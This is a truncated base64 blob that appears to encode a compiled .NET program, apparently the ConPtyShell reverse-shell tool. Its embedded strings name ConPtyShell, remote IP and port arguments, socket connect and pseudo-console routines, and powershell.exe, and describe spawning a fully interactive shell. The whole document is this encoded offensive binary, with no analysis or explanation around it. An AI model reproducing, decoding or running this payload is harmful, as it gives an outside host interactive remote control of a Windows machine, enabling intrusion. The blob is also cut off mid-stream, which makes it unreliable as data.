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AASMAHgMBAAABJQAtAwEAQQEnADoDAQAAASkARgMCAAABKwBRAwEABgEtAGIDAQBDAS8AcgMDAASAAAAAAAAAAAAAAAAAAAAAABcHAAACAAAAAAAAAAAAAAABAJIAAAAAAAIAAAAAAAAAAAAAAAEAmwAAAAAAAwACAAQAAgAFAAIABgACAAcAAgAAAAAAADxNb2R1bGU+AENvblB0eVNoZWxsX25ldDIuZXhlAENvblB0eVNoZWxsAFNUQVJUVVBJTkZPRVgAU1RBUlRVUElORk8AUFJPQ0VTU19JTkZPUk1BVElPTgBTRUNVUklUWV9BVFRSSUJVVEVTAENPT1JEAENvblB0eVNoZWxsTWFpbkNsYXNzAE1haW5DbGFzcwBtc2NvcmxpYgBTeXN0ZW0AT2JqZWN0AFZhbHVlVHlwZQBlcnJvclN0cmluZwBFTkFCTEVfVklSVFVBTF9URVJNSU5BTF9QUk9DRVNTSU5HAERJU0FCTEVfTkVXTElORV9BVVRPX1JFVFVSTgBQUk9DX1RIUkVBRF9BVFRSSUJVVEVfUFNFVURPQ09OU09MRQBFWFRFTkRFRF9TVEFSVFVQSU5GT19QUkVTRU5UAENSRUFURV9OT19XSU5ET1cAU1RBUlRGX1VTRVNUREhBTkRMRVMAQlVGRkVSX1NJWkVfUElQRQBJTkZJTklURQBTV19ISURFAEdFTkVSSUNfUkVBRABHRU5FUklDX1dSSVRFAEZJTEVfU0hBUkVfUkVBRABGSUxFX1NIQVJFX1dSSVRFAEZJTEVfQVRUUklCVVRFX05PUk1BTABPUEVOX0VYSVNUSU5HAFNURF9JTlBVVF9IQU5ETEUAU1REX09VVFBVVF9IQU5ETEUAU1REX0VSUk9SX0hBTkRMRQBJbml0aWFsaXplUHJvY1RocmVhZEF0dHJpYnV0ZUxpc3QAVXBkYXRlUHJvY1RocmVhZEF0dHJpYnV0ZQBDcmVhdGVQcm9jZXNzAENyZWF0ZVByb2Nlc3NXAFRlcm1pbmF0ZVByb2Nlc3MAV2FpdEZvclNpbmdsZU9iamVjdABTZXRTdGRIYW5kbGUAR2V0U3RkSGFuZGxlAENsb3NlSGFuZGxlAENyZWF0ZVBpcGUAQ3JlYXRlRmlsZQBSZWFkRmlsZQBXcml0ZUZpbGUAQ3JlYXRlUHNldWRvQ29uc29sZQBDbG9zZVBzZXVkb0NvbnNvbGUAU2V0Q29uc29sZU1vZGUAR2V0Q29uc29sZU1vZGUAQWxsb2NDb25zb2xlAEZyZWVDb25zb2xlAFNob3dXaW5kb3cAR2V0Q29uc29sZVdpbmRvdwBHZXRNb2R1bGVIYW5kbGUAR2V0UHJvY0FkZHJlc3MAU3lzdGVtLk5ldC5Tb2NrZXRzAFNvY2tldABDb25uZWN0U29ja2V0AFRyeVBhcnNlUm93c0NvbHNGcm9tU29ja2V0AENyZWF0ZVBpcGVzAEluaXRDb25zb2xlAFJlc3RvcmVTdGRIYW5kbGVzAEVuYWJsZVZpcnR1YWxUZXJtaW5hbFNlcXVlbmNlUHJvY2Vzc2luZwBDcmVhdGVQc2V1ZG9Db25zb2xlV2l0aFBpcGVzAENvbmZpZ3VyZVByb2Nlc3NUaHJlYWQAUnVuUHJvY2VzcwBDcmVhdGVDaGlsZFByb2Nlc3NXaXRoUHNldWRvQ29uc29sZQBUaHJlYWRSZWFkUGlwZVdyaXRlU29ja2V0AFN5c3RlbS5UaHJlYWRpbmcAVGhyZWFkAFN0YXJ0VGhyZWFkUmVhZFBpcGVXcml0ZVNvY2tldABUaHJlYWRSZWFkU29ja2V0V3JpdGVQaXBlAFN0YXJ0VGhyZWFkUmVhZFNvY2tldFdyaXRlUGlwZQBTcGF3bkNvblB0eVNoZWxsAFN0YXJ0dXBJbmZvAGxwQXR0cmlidXRlTGlzdABjYgBscFJlc2VydmVkAGxwRGVza3RvcABscFRpdGxlAGR3WABkd1kAZHdYU2l6ZQBkd1lTaXplAGR3WENvdW50Q2hhcnMAZHdZQ291bnRDaGFycwBkd0ZpbGxBdHRyaWJ1dGUAZHdGbGFncwB3U2hvd1dpbmRvdwBjYlJlc2VydmVkMgBscFJlc2VydmVkMgBoU3RkSW5wdXQAaFN0ZE91dHB1dABoU3RkRXJyb3IAaFByb2Nlc3MAaFRocmVhZABkd1Byb2Nlc3NJZABkd1RocmVhZElkAG5MZW5ndGgAbHBTZWN1cml0eURlc2NyaXB0b3IAYkluaGVyaXRIYW5kbGUAWABZAGhlbHAASGVscFJlcXVpcmVkAENoZWNrQXJncwBEaXNwbGF5SGVscABDaGVja1JlbW90ZUlwQXJnAENoZWNrSW50AFBhcnNlUm93cwBQYXJzZUNvbHMAUGFyc2VDb21tYW5kTGluZQBDb25QdHlTaGVsbE1haW4ATWFpbgAuY3RvcgBTeXN0ZW0uUnVudGltZS5Db21waWxlclNlcnZpY2VzAENvbXBpbGF0aW9uUmVsYXhhdGlvbnNBdHRyaWJ1dGUAUnVudGltZUNvbXBhdGliaWxpdHlBdHRyaWJ1dGUAQ29uUHR5U2hlbGxfbmV0MgBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMARGxsSW1wb3J0QXR0cmlidXRlAGtlcm5lbDMyLmRsbABNYXJzaGFsQXNBdHRyaWJ1dGUAVW5tYW5hZ2VkVHlwZQBkd0F0dHJpYnV0ZUNvdW50AGxwU2l6ZQBhdHRyaWJ1dGUAbHBWYWx1ZQBjYlNpemUAbHBQcmV2aW91c1ZhbHVlAGxwUmV0dXJuU2l6ZQBscEFwcGxpY2F0aW9uTmFtZQBscENvbW1hbmRMaW5lAGxwUHJvY2Vzc0F0dHJpYnV0ZXMAbHBUaHJlYWRBdHRyaWJ1dGVzAGJJbmhlcml0SGFuZGxlcwBkd0NyZWF0aW9uRmxhZ3MAbHBFbnZpcm9ubWVudABscEN1cnJlbnREaXJlY3RvcnkAbHBTdGFydHVwSW5mbwBJbkF0dHJpYnV0ZQBscFByb2Nlc3NJbmZvcm1hdGlvbgBPdXRBdHRyaWJ1dGUAdUV4aXRDb2RlAGhIYW5kbGUAZHdNaWxsaXNlY29uZHMAblN0ZEhhbmRsZQBoT2JqZWN0AGhSZWFkUGlwZQBoV3JpdGVQaXBlAGxwUGlwZUF0dHJpYnV0ZXMAblNpemUAbHBGaWxlTmFtZQBkd0Rlc2lyZWRBY2Nlc3MAZHdTaGFyZU1vZGUAU2VjdXJpdHlBdHRyaWJ1dGVzAGR3Q3JlYXRpb25EaXNwb3NpdGlvbgBkd0ZsYWdzQW5kQXR0cmlidXRlcwBoVGVtcGxhdGVGaWxlAGhGaWxlAGxwQnVmZmVyAG5OdW1iZXJPZkJ5dGVzVG9SZWFkAGxwTnVtYmVyT2ZCeXRlc1JlYWQAbHBPdmVybGFwcGVkAG5OdW1iZXJPZkJ5dGVzVG9Xcml0ZQBscE51bWJlck9mQnl0ZXNXcml0dGVuAHNpemUAaElucHV0AGhPdXRwdXQAcGhQQwBoUEMAaENvbnNvbGVIYW5kbGUAbW9kZQBoYW5kbGUAdXNlcjMyLmRsbABoV25kAG5DbWRTaG93AGxwTW9kdWxlTmFtZQBrZXJuZWwzMgBoTW9kdWxlAHByb2NOYW1lAHJlbW90ZUlwAHJlbW90ZVBvcnQAU3lzdGVtLk5ldABJUEFkZHJlc3MAUGFyc2UASVBFbmRQb2ludABFbmRQb2ludABBZGRyZXNzRmFtaWx5AGdldF9BZGRyZXNzRmFtaWx5AFNvY2tldFR5cGUAUHJvdG9jb2xUeXBlAENvbm5lY3QAZ2V0X0Nvbm5lY3RlZABTeXN0ZW0uVGV4dABFbmNvZGluZwBnZXRfQVNDSUkAR2V0Qnl0ZXMAU2VuZABzaGVsbFNvY2tldAByb3dzAGNvbHMAU2xlZXAAZ2V0X0F2YWlsYWJsZQBCeXRlAFJlY2VpdmUAR2V0U3RyaW5nAENoYXIAU3RyaW5nAFNwbGl0AFRyaW0ASW50MzIAVHJ5UGFyc2UASW5wdXRQaXBlUmVhZABJbnB1dFBpcGVXcml0ZQBPdXRwdXRQaXBlUmVhZABPdXRwdXRQaXBlV3JpdGUATWFyc2hhbABTaXplT2YASW50UHRyAFplcm8ASW52YWxpZE9wZXJhdGlvbkV4Y2VwdGlvbgBvbGRTdGRJbgBvbGRTdGRPdXQAb2xkU3RkRXJyAGhhbmRsZVBzZXVkb0NvbnNvbGUAQ29uUHR5SW5wdXRQaXBlUmVhZABDb25QdHlPdXRwdXRQaXBlV3JpdGUAYXR0cmlidXRlcwBvcF9FcXVhbGl0eQBHZXRMYXN0V2luMzJFcnJvcgBDb25jYXQAQWxsb2NIR2xvYmFsAGdldF9TaXplAG9wX0V4cGxpY2l0AHNJbmZvRXgAY29tbWFuZExpbmUAdGhyZWFkUGFyYW1zAFNvY2tldEZsYWdzAFBhcmFtZXRlcml6ZWRUaHJlYWRTdGFydABTdGFydABoQ2hpbGRQcm9jZXNzAFRvU3RyaW5nAEZvcm1hdABDb25zb2xlAFdyaXRlTGluZQBvcF9JbmVxdWFsaXR5AEFib3J0AFNvY2tldFNodXRkb3duAFNodXRkb3duAENsb3NlAFN0cnVjdExheW91dEF0dHJpYnV0ZQBMYXlvdXRLaW5kAHBhcmFtAGFyZ3VtZW50cwBTeXN0ZW0uSU8AVGV4dFdyaXRlcgBnZXRfT3V0AFdyaXRlAEVudmlyb25tZW50AEV4aXQAaXBTdHJpbmcAYXJnAGFyZ3MALmNjdG9yAAAAAEENAAoAQwBvAG4AUAB0AHkAUwBoAGUAbABsACAALQAgAEAAcwBwAGwAaQBuAHQAZQByAF8AYwBvAGQAZQANAAoAAT1DAG8AdQBsAGQAIABuAG8AdAAgAGMAcgBlAGEAdABlACAAdABoAGUAIABJAG4AcAB1AHQAUABpAHAAZQAAP0MAbwB1AGwAZAAgAG4AbwB0ACAAYwByAGUAYQB0AGUAIAB0AGgAZQAgAE8AdQB0AHAAdQB0AFAAaQBwAGUAAA9DAE8ATgBPAFUAVAAkAAANQwBPAE4ASQBOACQAADVDAG8AdQBsAGQAIABuAG8AdAAgAGcAZQB0ACAAYwBvAG4AcwBvAGwAZQAgAG0AbwBkAGUAAFlDAG8AdQBsAGQAIABuAG8AdAAgAGUAbgBhAGIAbABlACAAdgBpAHIAdAB1AGEAbAAgAHQAZQByAG0AaQBuAGEAbAAgAHAAcgBvAGMAZQBzAHMAaQBuAGcAAICBQwBvAHUAbABkACAAbgBvAHQAIABjAGEAbABjAHUAbABhAHQAZQAgAHQAaABlACAAbgB1AG0AYgBlAHIAIABvAGYAIABiAHkAdABlAHMAIABmAG8AcgAgAHQAaABlACAAYQB0AHQAcgBpAGIAdQB0AGUAIABsAGkAcwB0AC4AIAAAQ0MAbwB1AGwAZAAgAG4AbwB0ACAAcwBlAHQAIAB1AHAAIABhAHQAdAByAGkAYgB1AHQAZQAgAGwAaQBzAHQALgAgAABdQwBvAHUAbABkACAAbgBvAHQAIABzAGUAdAAgAHAAcwBlAHUAZABvAGMAbwBuAHMAbwBsAGUAIAB0AGgAcgBlAGEAZAAgAGEAdAB0AHIAaQBiAHUAdABlAC4AIAAANUMAbwB1AGwAZAAgAG4AbwB0ACAAYwByAGUAYQB0AGUAIABwAHIAbwBjAGUAcwBzAC4AIAAAAQBVewAwAH0AQwBvAHUAbABkACAAbgBvAHQAIABjAG8AbgBuAGUAYwB0ACAAdABvACAAaQBwACAAewAxAH0AIABvAG4AIABwAG8AcgB0ACAAewAyAH0AADl7AHsAewBDAG8AbgBQAHQAeQBTAGgAZQBsAGwARQB4AGMAZQBwAHQAaQBvAG4AfQB9AH0ADQAKAAARawBlAHIAbgBlAGwAMwAyAAAnQwByAGUAYQB0AGUAUABzAGUAdQBkAG8AQwBvAG4AcwBvAGwAZQAAgK8NAAoAQwByAGUAYQB0AGUAUABzAGUAdQBkAG8AQwBvAG4AcwBvAGwAZQAgAGYAdQBuAGMAdABpAG8AbgAgAG4AbwB0ACAAZgBvAHUAbgBkACEAIABTAHAAYQB3AG4AaQBuAGcAIABhACAAbgBlAHQAYwBhAHQALQBsAGkAawBlACAAaQBuAHQAZQByAGEAYwB0AGkAdgBlACAAcwBoAGUAbABsAC4ALgAuAA0ACgABgJsNAAoAQwByAGUAYQB0AGUAUABzAGUAdQBkAG8AQwBvAG4AcwBvAGwAZQAgAGYAdQBuAGMAdABpAG8AbgAgAGYAbwB1AG4AZAAhACAAUwBwAGEAdwBuAGkAbgBnACAAYQAgAGYAdQBsAGwAeQAgAGkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAHMAaABlAGwAbAAuAC4ALgANAAoAAGV7ADAAfQBDAG8AdQBsAGQAIABuAG8AdAAgAGMAcgBlAGEAdABlACAAcABzAHUAZQBkAG8AIABjAG8AbgBzAG8AbABlAC4AIABFAHIAcgBvAHIAIABDAG8AZABlACAAewAxAH0AADlDAG8AbgBQAHQAeQBTAGgAZQBsAGwAIABrAGkAbgBkAGwAeQAgAGUAeABpAHQAZQBkAC4ADQAKAAAFLQBoAAENLQAtAGgAZQBsAHAAAQUvAD8AAIC5DQAKAEMAbwBuAFAAdAB5AFMAaABlAGwAbAA6ACAATgBvAHQAIABlAG4AbwB1AGcAaAAgAGEAcgBnAHUAbQBlAG4AdABzAC4AIAAyACAAQQByAGcAdQBtAGUAbgB0AHMAIAByAGUAcQB1AGkAcgBlAGQALgAgAFUAcwBlACAALQAtAGgAZQBsAHAAIABmAG8AcgAgAGEAZABkAGkAdABpAG8AbgBhAGwAIABoAGUAbABwAC4ADQAKAAFXDQAKAEMAbwBuAFAAdAB5AFMAaABlAGwAbAA6ACAASQBuAHYAYQBsAGkAZAAgAHIAZQBtAG8AdABlAEkAcAAgAHYAYQBsAHUAZQAgAHsAMAB9AA0ACgAAVQ0ACgBDAG8AbgBQAHQAeQBTAGgAZQBsAGwAOgAgAEkAbgB2AGEAbABpAGQAIABpAG4AdABlAGcAZQByACAAdgBhAGwAdQBlACAAewAwAH0ADQAKAAAdcABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlAACNpQ0ACgANAAoAQwBvAG4AUAB0AHkAUwBoAGUAbABsACAALQAgAEYAdQBsAGwAe